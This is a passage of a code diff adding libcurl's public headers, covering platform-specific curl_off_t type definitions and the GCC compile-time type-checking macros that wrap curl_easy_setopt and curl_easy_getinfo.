defined(__sparc__) || defined(__mips__) || defined(__sh__) || \
defined(__XTENSA__) || \
(defined(__SIZEOF_LONG__) && __SIZEOF_LONG__ == 4) || \
(defined(__LONG_MAX__) && __LONG_MAX__ == 2147483647L))
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# elif defined(__LP64__) || \
defined(__x86_64__) || defined(__ppc64__) || defined(__sparc64__) || \
defined(__e2k__) || \
(defined(__SIZEOF_LONG__) && __SIZEOF_LONG__ == 8) || \
(defined(__LONG_MAX__) && __LONG_MAX__ == 9223372036854775807L)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
# define CURL_PULL_SYS_TYPES_H 1
# define CURL_PULL_SYS_SOCKET_H 1
#else
/* generic "safe guess" on old 32-bit style */
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# define CURL_TYPEOF_CURL_SOCKLEN_T int
#endif
#ifdef _AIX
/* AIX needs <sys/poll.h> */
#define CURL_PULL_SYS_POLL_H
#endif
/* CURL_PULL_SYS_TYPES_H is defined above when inclusion of header file */
/* sys/types.h is required here to properly make type definitions below. */
#ifdef CURL_PULL_SYS_TYPES_H
# include <sys/types.h>
#endif
/* CURL_PULL_SYS_SOCKET_H is defined above when inclusion of header file */
/* sys/socket.h is required here to properly make type definitions below. */
#ifdef CURL_PULL_SYS_SOCKET_H
# include <sys/socket.h>
#endif
/* CURL_PULL_SYS_POLL_H is defined above when inclusion of header file */
/* sys/poll.h is required here to properly make type definitions below. */
#ifdef CURL_PULL_SYS_POLL_H
# include <sys/poll.h>
#endif
/* Data type definition of curl_socklen_t. */
#ifdef CURL_TYPEOF_CURL_SOCKLEN_T
typedef CURL_TYPEOF_CURL_SOCKLEN_T curl_socklen_t;
#endif
/* Data type definition of curl_off_t. */
#ifdef CURL_TYPEOF_CURL_OFF_T
typedef CURL_TYPEOF_CURL_OFF_T curl_off_t;
#endif
/*
* CURL_ISOCPP and CURL_OFF_T_C definitions are done here in order to allow
* these to be visible and exported by the external libcurl interface API,
* while also making them visible to the library internals, simply including
* curl_setup.h, without actually needing to include curl.h internally.
* If some day this section would grow big enough, all this should be moved
* to its own header file.
*/
/*
* Figure out if we can use the ## preprocessor operator, which is supported
* by ISO/ANSI C and C++. Some compilers support it without setting __STDC__
* or __cplusplus so we need to carefully check for them too.
*/
#if defined(__STDC__) || defined(_MSC_VER) || defined(__cplusplus) || \
defined(__HP_aCC) || defined(__BORLANDC__) || defined(__LCC__) || \
defined(__POCC__) || defined(__SALFORDC__) || defined(__HIGHC__) || \
defined(__ILEC400__)
/* This compiler is believed to have an ISO compatible preprocessor */
#define CURL_ISOCPP
#else
/* This compiler is believed NOT to have an ISO compatible preprocessor */
#undef CURL_ISOCPP
#endif
/*
* Macros for minimum-width signed and unsigned curl_off_t integer constants.
*/
#if defined(__BORLANDC__) && (__BORLANDC__ == 0x0551)
# define CURLINC_OFF_T_C_HLPR2(x) x
# define CURLINC_OFF_T_C_HLPR1(x) CURLINC_OFF_T_C_HLPR2(x)
# define CURL_OFF_T_C(Val) CURLINC_OFF_T_C_HLPR1(Val) ## \
CURLINC_OFF_T_C_HLPR1(CURL_SUFFIX_CURL_OFF_T)
# define CURL_OFF_TU_C(Val) CURLINC_OFF_T_C_HLPR1(Val) ## \
CURLINC_OFF_T_C_HLPR1(CURL_SUFFIX_CURL_OFF_TU)
#else
# ifdef CURL_ISOCPP
# define CURLINC_OFF_T_C_HLPR2(Val,Suffix) Val ## Suffix
# else
# define CURLINC_OFF_T_C_HLPR2(Val,Suffix) Val/**/Suffix
# endif
# define CURLINC_OFF_T_C_HLPR1(Val,Suffix) CURLINC_OFF_T_C_HLPR2(Val,Suffix)
# define CURL_OFF_T_C(Val) CURLINC_OFF_T_C_HLPR1(Val,CURL_SUFFIX_CURL_OFF_T)
# define CURL_OFF_TU_C(Val) CURLINC_OFF_T_C_HLPR1(Val,CURL_SUFFIX_CURL_OFF_TU)
#endif
#endif /* CURLINC_SYSTEM_H */
@@ -0,0 +1,718 @@
#ifndef CURLINC_TYPECHECK_GCC_H
#define CURLINC_TYPECHECK_GCC_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
/* wraps curl_easy_setopt() with typechecking */
/* To add a new kind of warning, add an
* if(curlcheck_sometype_option(_curl_opt))
* if(!curlcheck_sometype(value))
* _curl_easy_setopt_err_sometype();
* block and define curlcheck_sometype_option, curlcheck_sometype and
* _curl_easy_setopt_err_sometype below
*
* NOTE: We use two nested 'if' statements here instead of the && operator, in
* order to work around gcc bug #32061. It affects only gcc 4.3.x/4.4.x
* when compiling with -Wlogical-op.
*
* To add an option that uses the same type as an existing option, you will
* just need to extend the appropriate _curl_*_option macro
*/
#define curl_easy_setopt(handle, option, value) \
__extension__({ \
CURLoption _curl_opt = (option); \
if(__builtin_constant_p(_curl_opt)) { \
CURL_IGNORE_DEPRECATION( \
if(curlcheck_long_option(_curl_opt)) \
if(!curlcheck_long(value)) \
_curl_easy_setopt_err_long(); \
if(curlcheck_off_t_option(_curl_opt)) \
if(!curlcheck_off_t(value)) \
_curl_easy_setopt_err_curl_off_t(); \
if(curlcheck_string_option(_curl_opt)) \
if(!curlcheck_string(value)) \
_curl_easy_setopt_err_string(); \
if(curlcheck_write_cb_option(_curl_opt)) \
if(!curlcheck_write_cb(value)) \
_curl_easy_setopt_err_write_callback(); \
if((_curl_opt) == CURLOPT_RESOLVER_START_FUNCTION) \
if(!curlcheck_resolver_start_callback(value)) \
_curl_easy_setopt_err_resolver_start_callback(); \
if((_curl_opt) == CURLOPT_READFUNCTION) \
if(!curlcheck_read_cb(value)) \
_curl_easy_setopt_err_read_cb(); \
if((_curl_opt) == CURLOPT_IOCTLFUNCTION) \
if(!curlcheck_ioctl_cb(value)) \
_curl_easy_setopt_err_ioctl_cb(); \
if((_curl_opt) == CURLOPT_SOCKOPTFUNCTION) \
if(!curlcheck_sockopt_cb(value)) \
_curl_easy_setopt_err_sockopt_cb(); \
if((_curl_opt) == CURLOPT_OPENSOCKETFUNCTION) \
if(!curlcheck_opensocket_cb(value)) \
_curl_easy_setopt_err_opensocket_cb(); \
if((_curl_opt) == CURLOPT_PROGRESSFUNCTION) \
if(!curlcheck_progress_cb(value)) \
_curl_easy_setopt_err_progress_cb(); \
if((_curl_opt) == CURLOPT_DEBUGFUNCTION) \
if(!curlcheck_debug_cb(value)) \
_curl_easy_setopt_err_debug_cb(); \
if((_curl_opt) == CURLOPT_SSL_CTX_FUNCTION) \
if(!curlcheck_ssl_ctx_cb(value)) \
_curl_easy_setopt_err_ssl_ctx_cb(); \
if(curlcheck_conv_cb_option(_curl_opt)) \
if(!curlcheck_conv_cb(value)) \
_curl_easy_setopt_err_conv_cb(); \
if((_curl_opt) == CURLOPT_SEEKFUNCTION) \
if(!curlcheck_seek_cb(value)) \
_curl_easy_setopt_err_seek_cb(); \
if(curlcheck_cb_data_option(_curl_opt)) \
if(!curlcheck_cb_data(value)) \
_curl_easy_setopt_err_cb_data(); \
if((_curl_opt) == CURLOPT_ERRORBUFFER) \
if(!curlcheck_error_buffer(value)) \
_curl_easy_setopt_err_error_buffer(); \
if((_curl_opt) == CURLOPT_STDERR) \
if(!curlcheck_FILE(value)) \
_curl_easy_setopt_err_FILE(); \
if(curlcheck_postfields_option(_curl_opt)) \
if(!curlcheck_postfields(value)) \
_curl_easy_setopt_err_postfields(); \
if((_curl_opt) == CURLOPT_HTTPPOST) \
if(!curlcheck_arr((value), struct curl_httppost)) \
_curl_easy_setopt_err_curl_httpost(); \
if((_curl_opt) == CURLOPT_MIMEPOST) \
if(!curlcheck_ptr((value), curl_mime)) \
_curl_easy_setopt_err_curl_mimepost(); \
if(curlcheck_slist_option(_curl_opt)) \
if(!curlcheck_arr((value), struct curl_slist)) \
_curl_easy_setopt_err_curl_slist(); \
if((_curl_opt) == CURLOPT_SHARE) \
if(!curlcheck_ptr((value), CURLSH)) \
_curl_easy_setopt_err_CURLSH(); \
) \
} \
curl_easy_setopt(handle, _curl_opt, value); \
})
/* wraps curl_easy_getinfo() with typechecking */
#define curl_easy_getinfo(handle, info, arg) \
__extension__({ \
CURLINFO _curl_info = (info); \
if(__builtin_constant_p(_curl_info)) { \
CURL_IGNORE_DEPRECATION( \
if(curlcheck_string_info(_curl_info)) \
if(!curlcheck_arr((arg), char *)) \
_curl_easy_getinfo_err_string(); \
if(curlcheck_long_info(_curl_info)) \
if(!curlcheck_arr((arg), long)) \
_curl_easy_getinfo_err_long(); \
if(curlcheck_double_info(_curl_info)) \
if(!curlcheck_arr((arg), double)) \
_curl_easy_getinfo_err_double(); \
if(curlcheck_slist_info(_curl_info)) \
if(!curlcheck_arr((arg), struct curl_slist *)) \
_curl_easy_getinfo_err_curl_slist(); \
if(curlcheck_tlssessioninfo_info(_curl_info)) \
if(!curlcheck_arr((arg), struct curl_tlssessioninfo *)) \
_curl_easy_getinfo_err_curl_tlssesssioninfo(); \
if(curlcheck_certinfo_info(_curl_info)) \
if(!curlcheck_arr((arg), struct curl_certinfo *)) \
_curl_easy_getinfo_err_curl_certinfo(); \
if(curlcheck_socket_info(_curl_info)) \
if(!curlcheck_arr((arg), curl_socket_t)) \
_curl_easy_getinfo_err_curl_socket(); \
if(curlcheck_off_t_info(_curl_info)) \
if(!curlcheck_arr((arg), curl_off_t)) \
_curl_easy_getinfo_err_curl_off_t(); \
) \
} \
curl_easy_getinfo(handle, _curl_info, arg); \
})
/*
* For now, just make sure that the functions are called with three arguments
*/
#define curl_share_setopt(share,opt,param) curl_share_setopt(share,opt,param)
#define curl_multi_setopt(handle,opt,param) curl_multi_setopt(handle,opt,param)
/* the actual warnings, triggered by calling the _curl_easy_setopt_err*
* functions */
/* To define a new warning, use _CURL_WARNING(identifier, "message") */
#define CURLWARNING(id, message) \
static void __attribute__((__warning__(message))) \
__attribute__((__unused__)) __attribute__((__noinline__)) \
id(void) { __asm__(""); }
CURLWARNING(_curl_easy_setopt_err_long,
"curl_easy_setopt expects a long argument for this option")
CURLWARNING(_curl_easy_setopt_err_curl_off_t,
"curl_easy_setopt expects a curl_off_t argument for this option")
CURLWARNING(_curl_easy_setopt_err_string,
"curl_easy_setopt expects a "
"string ('char *' or char[]) argument for this option"
)
CURLWARNING(_curl_easy_setopt_err_write_callback,
"curl_easy_setopt expects a curl_write_callback argument for this option")
CURLWARNING(_curl_easy_setopt_err_resolver_start_callback,
"curl_easy_setopt expects a "
"curl_resolver_start_callback argument for this option"
)
CURLWARNING(_curl_easy_setopt_err_read_cb,
"curl_easy_setopt expects a curl_read_callback argument for this option")
CURLWARNING(_curl_easy_setopt_err_ioctl_cb,
"curl_easy_setopt expects a curl_ioctl_callback argument for this option")
CURLWARNING(_curl_easy_setopt_err_sockopt_cb,
"curl_easy_setopt expects a curl_sockopt_callback argument for this option")
CURLWARNING(_curl_easy_setopt_err_opensocket_cb,
"curl_easy_setopt expects a "
"curl_opensocket_callback argument for this option"
)
CURLWARNING(_curl_easy_setopt_err_progress_cb,
"curl_easy_setopt expects a curl_progress_callback argument for this option")
CURLWARNING(_curl_easy_setopt_err_debug_cb,
"curl_easy_setopt expects a curl_debug_callback argument for this option")
CURLWARNING(_curl_easy_setopt_err_ssl_ctx_cb,
"curl_easy_setopt expects a curl_ssl_ctx_callback argument for this option")
CURLWARNING(_curl_easy_setopt_err_conv_cb,
"curl_easy_setopt expects a curl_conv_callback argument for this option")
CURLWARNING(_curl_easy_setopt_err_seek_cb,
"curl_easy_setopt expects a curl_seek_callback argument for this option")
CURLWARNING(_curl_easy_setopt_err_cb_data,
"curl_easy_setopt expects a "
"private data pointer as argument for this option")
CURLWARNING(_curl_easy_setopt_err_error_buffer,
"curl_easy_setopt expects a "
"char buffer of CURL_ERROR_SIZE as argument for this option")
CURLWARNING(_curl_easy_setopt_err_FILE,
"curl_easy_setopt expects a 'FILE *' argument for this option")
CURLWARNING(_curl_easy_setopt_err_postfields,
"curl_easy_setopt expects a 'void *' or 'char *' argument for this option")
CURLWARNING(_curl_easy_setopt_err_curl_httpost,
"curl_easy_setopt expects a 'struct curl_httppost *' "
"argument for this option")
CURLWARNING(_curl_easy_setopt_err_curl_mimepost,
"curl_easy_setopt expects a 'curl_mime *' "
"argument for this option")
CURLWARNING(_curl_easy_setopt_err_curl_slist,
"curl_easy_setopt expects a 'struct curl_slist *' argument for this option")
CURLWARNING(_curl_easy_setopt_err_CURLSH,
"curl_easy_setopt expects a CURLSH* argument for this option")
CURLWARNING(_curl_easy_getinfo_err_string,
"curl_easy_getinfo expects a pointer to 'char *' for this info")
CURLWARNING(_curl_easy_getinfo_err_long,
"curl_easy_getinfo expects a pointer to long for this info")
CURLWARNING(_curl_easy_getinfo_err_double,
"curl_easy_getinfo expects a pointer to double for this info")
CURLWARNING(_curl_easy_getinfo_err_curl_slist,
"curl_easy_getinfo expects a pointer to 'struct curl_slist *' for this info")
CURLWARNING(_curl_easy_getinfo_err_curl_tlssesssioninfo,
"curl_easy_getinfo expects a pointer to "
"'struct curl_tlssessioninfo *' for this info")
CURLWARNING(_curl_easy_getinfo_err_curl_certinfo,
"curl_easy_getinfo expects a pointer to "
"'struct curl_certinfo *' for this info")
CURLWARNING(_curl_easy_getinfo_err_curl_socket,
"curl_easy_getinfo expects a pointer to curl_socket_t for this info")
CURLWARNING(_curl_easy_getinfo_err_curl_off_t,
"curl_easy_getinfo expects a pointer to curl_off_t for this info")
/* groups of curl_easy_setops options that take the same type of argument */
/* To add a new option to one of the groups, just add
* (option) == CURLOPT_SOMETHING
* to the or-expression. If the option takes a long or curl_off_t, you do not
* have to do anything
*/
/* evaluates to true if option takes a long argument */
#define curlcheck_long_option(option) \
(0 < (option) && (option) < CURLOPTTYPE_OBJECTPOINT)
#define curlcheck_off_t_option(option) \
(((option) > CURLOPTTYPE_OFF_T) && ((option) < CURLOPTTYPE_BLOB))
/* evaluates to true if option takes a char* argument */
#define curlcheck_string_option(option) \
((option) == CURLOPT_ABSTRACT_UNIX_SOCKET || \
(option) == CURLOPT_ACCEPT_ENCODING || \
(option) == CURLOPT_ALTSVC || \
(option) == CURLOPT_CAINFO || \
(option) == CURLOPT_CAPATH || \
(option) == CURLOPT_COOKIE || \
(option) == CURLOPT_COOKIEFILE || \
(option) == CURLOPT_COOKIEJAR || \
(option) == CURLOPT_COOKIELIST || \
(option) == CURLOPT_CRLFILE || \
(option) == CURLOPT_CUSTOMREQUEST || \
(option) == CURLOPT_DEFAULT_PROTOCOL || \
(option) == CURLOPT_DNS_INTERFACE || \
(option) == CURLOPT_DNS_LOCAL_IP4 || \
(option) == CURLOPT_DNS_LOCAL_IP6 || \
(option) == CURLOPT_DNS_SERVERS || \
(option) == CURLOPT_DOH_URL || \
(option) == CURLOPT_ECH || \
(option) == CURLOPT_EGDSOCKET || \
(option) == CURLOPT_FTP_ACCOUNT || \
(option) == CURLOPT_FTP_ALTERNATIVE_TO_USER || \
(option) == CURLOPT_FTPPORT || \
(option) == CURLOPT_HSTS || \
(option) == CURLOPT_HAPROXY_CLIENT_IP || \
(option) == CURLOPT_INTERFACE || \
(option) == CURLOPT_ISSUERCERT || \
(option) == CURLOPT_KEYPASSWD || \
(option) == CURLOPT_KRBLEVEL || \
(option) == CURLOPT_LOGIN_OPTIONS || \
(option) == CURLOPT_MAIL_AUTH || \
(option) == CURLOPT_MAIL_FROM || \
(option) == CURLOPT_NETRC_FILE || \
(option) == CURLOPT_NOPROXY || \
(option) == CURLOPT_PASSWORD || \
(option) == CURLOPT_PINNEDPUBLICKEY || \
(option) == CURLOPT_PRE_PROXY || \
(option) == CURLOPT_PROTOCOLS_STR || \
(option) == CURLOPT_PROXY || \
(option) == CURLOPT_PROXY_CAINFO || \
(option) == CURLOPT_PROXY_CAPATH || \
(option) == CURLOPT_PROXY_CRLFILE || \
(option) == CURLOPT_PROXY_ISSUERCERT || \
(option) == CURLOPT_PROXY_KEYPASSWD || \
(option) == CURLOPT_PROXY_PINNEDPUBLICKEY || \
(option) == CURLOPT_PROXY_SERVICE_NAME || \
(option) == CURLOPT_PROXY_SSL_CIPHER_LIST || \
(option) == CURLOPT_PROXY_SSLCERT || \
(option) == CURLOPT_PROXY_SSLCERTTYPE || \
(option) == CURLOPT_PROXY_SSLKEY || \
(option) == CURLOPT_PROXY_SSLKEYTYPE || \
(option) == CURLOPT_PROXY_TLS13_CIPHERS || \
(option) == CURLOPT_PROXY_TLSAUTH_PASSWORD || \
(option) == CURLOPT_PROXY_TLSAUTH_TYPE || \
(option) == CURLOPT_PROXY_TLSAUTH_USERNAME || \
(option) == CURLOPT_PROXYPASSWORD || \
(option) == CURLOPT_PROXYUSERNAME || \
(option) == CURLOPT_PROXYUSERPWD || \
(option) == CURLOPT_RANDOM_FILE || \
(option) == CURLOPT_RANGE || \
(option) == CURLOPT_REDIR_PROTOCOLS_STR || \
(option) == CURLOPT_REFERER || \
(option) == CURLOPT_REQUEST_TARGET || \
(option) == CURLOPT_RTSP_SESSION_ID || \
(option) == CURLOPT_RTSP_STREAM_URI || \
(option) == CURLOPT_RTSP_TRANSPORT || \
(option) == CURLOPT_SASL_AUTHZID || \
(option) == CURLOPT_SERVICE_NAME || \
(option) == CURLOPT_SOCKS5_GSSAPI_SERVICE || \
(option) == CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 || \
(option) == CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 || \
(option) == CURLOPT_SSH_KNOWNHOSTS || \
(option) == CURLOPT_SSH_PRIVATE_KEYFILE || \
(option) == CURLOPT_SSH_PUBLIC_KEYFILE || \
(option) == CURLOPT_SSLCERT || \
(option) == CURLOPT_SSLCERTTYPE || \
(option) == CURLOPT_SSLENGINE || \
(option) == CURLOPT_SSLKEY || \
(option) == CURLOPT_SSLKEYTYPE || \
(option) == CURLOPT_SSL_CIPHER_LIST || \
(option) == CURLOPT_TLS13_CIPHERS || \
(option) == CURLOPT_TLSAUTH_PASSWORD || \
(option) == CURLOPT_TLSAUTH_TYPE || \
(option) == CURLOPT_TLSAUTH_USERNAME || \
(option) == CURLOPT_UNIX_SOCKET_PATH || \
(option) == CURLOPT_URL || \
(option) == CURLOPT_USERAGENT || \
(option) == CURLOPT_USERNAME || \
(option) == CURLOPT_AWS_SIGV4 || \
(option) == CURLOPT_USERPWD || \
(option) == CURLOPT_XOAUTH2_BEARER || \
(option) == CURLOPT_SSL_EC_CURVES || \
0)
/* evaluates to true if option takes a curl_write_callback argument */
#define curlcheck_write_cb_option(option) \
((option) == CURLOPT_HEADERFUNCTION || \
(option) == CURLOPT_WRITEFUNCTION)
/* evaluates to true if option takes a curl_conv_callback argument */
#define curlcheck_conv_cb_option(option) \
((option) == CURLOPT_CONV_TO_NETWORK_FUNCTION || \
(option) == CURLOPT_CONV_FROM_NETWORK_FUNCTION || \
(option) == CURLOPT_CONV_FROM_UTF8_FUNCTION)
/* evaluates to true if option takes a data argument to pass to a callback */
#define curlcheck_cb_data_option(option) \
((option) == CURLOPT_CHUNK_DATA || \
(option) == CURLOPT_CLOSESOCKETDATA || \
(option) == CURLOPT_DEBUGDATA || \
(option) == CURLOPT_FNMATCH_DATA || \
(option) == CURLOPT_HEADERDATA || \
(option) == CURLOPT_HSTSREADDATA || \
(option) == CURLOPT_HSTSWRITEDATA || \
(option) == CURLOPT_INTERLEAVEDATA || \
(option) == CURLOPT_IOCTLDATA || \
(option) == CURLOPT_OPENSOCKETDATA || \
(option) == CURLOPT_PREREQDATA || \
(option) == CURLOPT_PROGRESSDATA || \
(option) == CURLOPT_READDATA || \
(option) == CURLOPT_SEEKDATA || \
(option) == CURLOPT_SOCKOPTDATA || \
(option) == CURLOPT_SSH_KEYDATA || \
(option) == CURLOPT_SSL_CTX_DATA || \
(option) == CURLOPT_WRITEDATA || \
(option) == CURLOPT_RESOLVER_START_DATA || \
(option) == CURLOPT_TRAILERDATA || \
(option) == CURLOPT_SSH_HOSTKEYDATA || \
0)
/* evaluates to true if option takes a POST data argument (void* or char*) */
#define curlcheck_postfields_option(option) \
((option) == CURLOPT_POSTFIELDS || \
(option) == CURLOPT_COPYPOSTFIELDS || \
0)
/* evaluates to true if option takes a struct curl_slist * argument */
#define curlcheck_slist_option(option) \
((option) == CURLOPT_HTTP200ALIASES || \
(option) == CURLOPT_HTTPHEADER || \
(option) == CURLOPT_MAIL_RCPT || \
(option) == CURLOPT_POSTQUOTE || \
(option) == CURLOPT_PREQUOTE || \
(option) == CURLOPT_PROXYHEADER || \
(option) == CURLOPT_QUOTE || \
(option) == CURLOPT_RESOLVE || \
(option) == CURLOPT_TELNETOPTIONS || \
(option) == CURLOPT_CONNECT_TO || \
0)
/* groups of curl_easy_getinfo infos that take the same type of argument */
/* evaluates to true if info expects a pointer to char * argument */
#define curlcheck_string_info(info) \
(CURLINFO_STRING < (info) && (info) < CURLINFO_LONG && \
(info) != CURLINFO_PRIVATE)
/* evaluates to true if info expects a pointer to long argument */
#define curlcheck_long_info(info) \
(CURLINFO_LONG < (info) && (info) < CURLINFO_DOUBLE)
/* evaluates to true if info expects a pointer to double argument */
#define curlcheck_double_info(info) \
(CURLINFO_DOUBLE < (info) && (info) < CURLINFO_SLIST)
/* true if info expects a pointer to struct curl_slist * argument */
#define curlcheck_slist_info(info) \
(((info) == CURLINFO_SSL_ENGINES) || ((info) == CURLINFO_COOKIELIST))
/* true if info expects a pointer to struct curl_tlssessioninfo * argument */
#define curlcheck_tlssessioninfo_info(info) \
(((info) == CURLINFO_TLS_SSL_PTR) || ((info) == CURLINFO_TLS_SESSION))
/* true if info expects a pointer to struct curl_certinfo * argument */
#define curlcheck_certinfo_info(info) ((info) == CURLINFO_CERTINFO)
/* true if info expects a pointer to struct curl_socket_t argument */
#define curlcheck_socket_info(info) \
(CURLINFO_SOCKET < (info) && (info) < CURLINFO_OFF_T)
/* true if info expects a pointer to curl_off_t argument */
#define curlcheck_off_t_info(info) \
(CURLINFO_OFF_T < (info))
/* typecheck helpers -- check whether given expression has requested type */
/* For pointers, you can use the curlcheck_ptr/curlcheck_arr macros,
* otherwise define a new macro. Search for __builtin_types_compatible_p
* in the GCC manual.
* NOTE: these macros MUST NOT EVALUATE their arguments! The argument is
* the actual expression passed to the curl_easy_setopt macro. This
* means that you can only apply the sizeof and __typeof__ operators, no
* == or whatsoever.
*/
/* XXX: should evaluate to true if expr is a pointer */
#define curlcheck_any_ptr(expr) \
(sizeof(expr) == sizeof(void *))
/* evaluates to true if expr is NULL */
/* XXX: must not evaluate expr, so this check is not accurate */
#define curlcheck_NULL(expr) \
(__builtin_types_compatible_p(__typeof__(expr), __typeof__(NULL)))
/* evaluates to true if expr is type*, const type* or NULL */
#define curlcheck_ptr(expr, type) \
(curlcheck_NULL(expr) || \
__builtin_types_compatible_p(__typeof__(expr), type *) || \
__builtin_types_compatible_p(__typeof__(expr), const type *))
/* evaluates to true if expr is one of type[], type*, NULL or const type* */
#define curlcheck_arr(expr, type) \
(curlcheck_ptr((expr), type) || \
__builtin_types_compatible_p(__typeof__(expr), type []))
/* evaluates to true if expr is a string */
#define curlcheck_string(expr) \
(curlcheck_arr((expr), char) || \
curlcheck_arr((expr), signed char) || \
curlcheck_arr((expr), unsigned char))
/* evaluates to true if expr is a long (no matter the signedness)
* XXX: for now, int is also accepted (and therefore short and char, which
* are promoted to int when passed to a variadic function) */
#define curlcheck_long(expr) \
(__builtin_types_compatible_p(__typeof__(expr), long) || \
__builtin_types_compatible_p(__typeof__(expr), signed long) || \
__builtin_types_compatible_p(__typeof__(expr), unsigned long) || \
__builtin_types_compatible_p(__typeof__(expr), int) || \
__builtin_types_compatible_p(__typeof__(expr), signed int) || \
__builtin_types_compatible_p(__typeof__(expr), unsigned int) || \
__builtin_types_compatible_p(__typeof__(expr), short) || \
__builtin_types_compatible_p(__typeof__(expr), signed short) || \
__builtin_types_compatible_p(__typeof__(expr), unsigned short) || \
__builtin_types_compatible_p(__typeof__(expr), char) || \
__builtin_types_compatible_p(__typeof__(expr), signed char) || \
__builtin_types_compatible_p(__typeof__(expr), unsigned char))
/* evaluates to true if expr is of type curl_off_t */
#define curlcheck_off_t(expr) \
(__builtin_types_compatible_p(__typeof__(expr), curl_off_t))
/* evaluates to true if expr is abuffer suitable for CURLOPT_ERRORBUFFER */
/* XXX: also check size of an char[] array? */
#define curlcheck_error_buffer(expr) \
(curlcheck_NULL(expr) || \
__builtin_types_compatible_p(__typeof__(expr), char *) || \
__builtin_types_compatible_p(__typeof__(expr), char[]))
/* evaluates to true if expr is of type (const) void* or (const) FILE* */
#if 0
#define curlcheck_cb_data(expr) \
(curlcheck_ptr((expr), void) || \
curlcheck_ptr((expr), FILE))
#else /* be less strict */
#define curlcheck_cb_data(expr) \
curlcheck_any_ptr(expr)
#endif
/* evaluates to true if expr is of type FILE* */
#define curlcheck_FILE(expr) \
(curlcheck_NULL(expr) || \
(__builtin_types_compatible_p(__typeof__(expr), FILE *)))
/* evaluates to true if expr can be passed as POST data (void* or char*) */
#define curlcheck_postfields(expr) \
(curlcheck_ptr((expr), void) || \
curlcheck_arr((expr), char) || \
curlcheck_arr((expr), unsigned char))
/* helper: __builtin_types_compatible_p distinguishes between functions and
* function pointers, hide it */
#define curlcheck_cb_compatible(func, type) \
(__builtin_types_compatible_p(__typeof__(func), type) || \
__builtin_types_compatible_p(__typeof__(func) *, type))
/* evaluates to true if expr is of type curl_resolver_start_callback */
#define curlcheck_resolver_start_callback(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), curl_resolver_start_callback))
/* evaluates to true if expr is of type curl_read_callback or "similar" */
#define curlcheck_read_cb(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), __typeof__(fread) *) || \
curlcheck_cb_compatible((expr), curl_read_callback) || \
curlcheck_cb_compatible((expr), _curl_read_callback1) || \
curlcheck_cb_compatible((expr), _curl_read_callback2) || \
curlcheck_cb_compatible((expr), _curl_read_callback3) || \
curlcheck_cb_compatible((expr), _curl_read_callback4) || \
curlcheck_cb_compatible((expr), _curl_read_callback5) || \
curlcheck_cb_compatible((expr), _curl_read_callback6))
typedef size_t (*_curl_read_callback1)(char *, size_t, size_t, void *);
typedef size_t (*_curl_read_callback2)(char *, size_t, size_t, const void *);
typedef size_t (*_curl_read_callback3)(char *, size_t, size_t, FILE *);
typedef size_t (*_curl_read_callback4)(void *, size_t, size_t, void *);
typedef size_t (*_curl_read_callback5)(void *, size_t, size_t, const void *);
typedef size_t (*_curl_read_callback6)(void *, size_t, size_t, FILE *);
/* evaluates to true if expr is of type curl_write_callback or "similar" */
#define curlcheck_write_cb(expr) \
(curlcheck_read_cb(expr) || \
curlcheck_cb_compatible((expr), __typeof__(fwrite) *) || \
curlcheck_cb_compatible((expr), curl_write_callback) || \
curlcheck_cb_compatible((expr), _curl_write_callback1) || \
curlcheck_cb_compatible((expr), _curl_write_callback2) || \
curlcheck_cb_compatible((expr), _curl_write_callback3) || \
curlcheck_cb_compatible((expr), _curl_write_callback4) || \
curlcheck_cb_compatible((expr), _curl_write_callback5) || \
curlcheck_cb_compatible((expr), _curl_write_callback6))
typedef size_t (*_curl_write_callback1)(const char *, size_t, size_t, void *);
typedef size_t (*_curl_write_callback2)(const char *, size_t, size_t,
const void *);
typedef size_t (*_curl_write_callback3)(const char *, size_t, size_t, FILE *);
typedef size_t (*_curl_write_callback4)(const void *, size_t, size_t, void *);
typedef size_t (*_curl_write_callback5)(const void *, size_t, size_t,
const void *);
typedef size_t (*_curl_write_callback6)(const void *, size_t, size_t, FILE *);
/* evaluates to true if expr is of type curl_ioctl_callback or "similar" */
#define curlcheck_ioctl_cb(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), curl_ioctl_callback) || \
curlcheck_cb_compatible((expr), _curl_ioctl_callback1) || \
curlcheck_cb_compatible((expr), _curl_ioctl_callback2) || \
curlcheck_cb_compatible((expr), _curl_ioctl_callback3) || \
curlcheck_cb_compatible((expr), _curl_ioctl_callback4))
typedef curlioerr (*_curl_ioctl_callback1)(CURL *, int, void *);
typedef curlioerr (*_curl_ioctl_callback2)(CURL *, int, const void *);
typedef curlioerr (*_curl_ioctl_callback3)(CURL *, curliocmd, void *);
typedef curlioerr (*_curl_ioctl_callback4)(CURL *, curliocmd, const void *);
/* evaluates to true if expr is of type curl_sockopt_callback or "similar" */
#define curlcheck_sockopt_cb(expr) \
(curlcheck_NULL(expr) || \
curlcheck_cb_compatible((expr), curl_sockopt_callback) || \
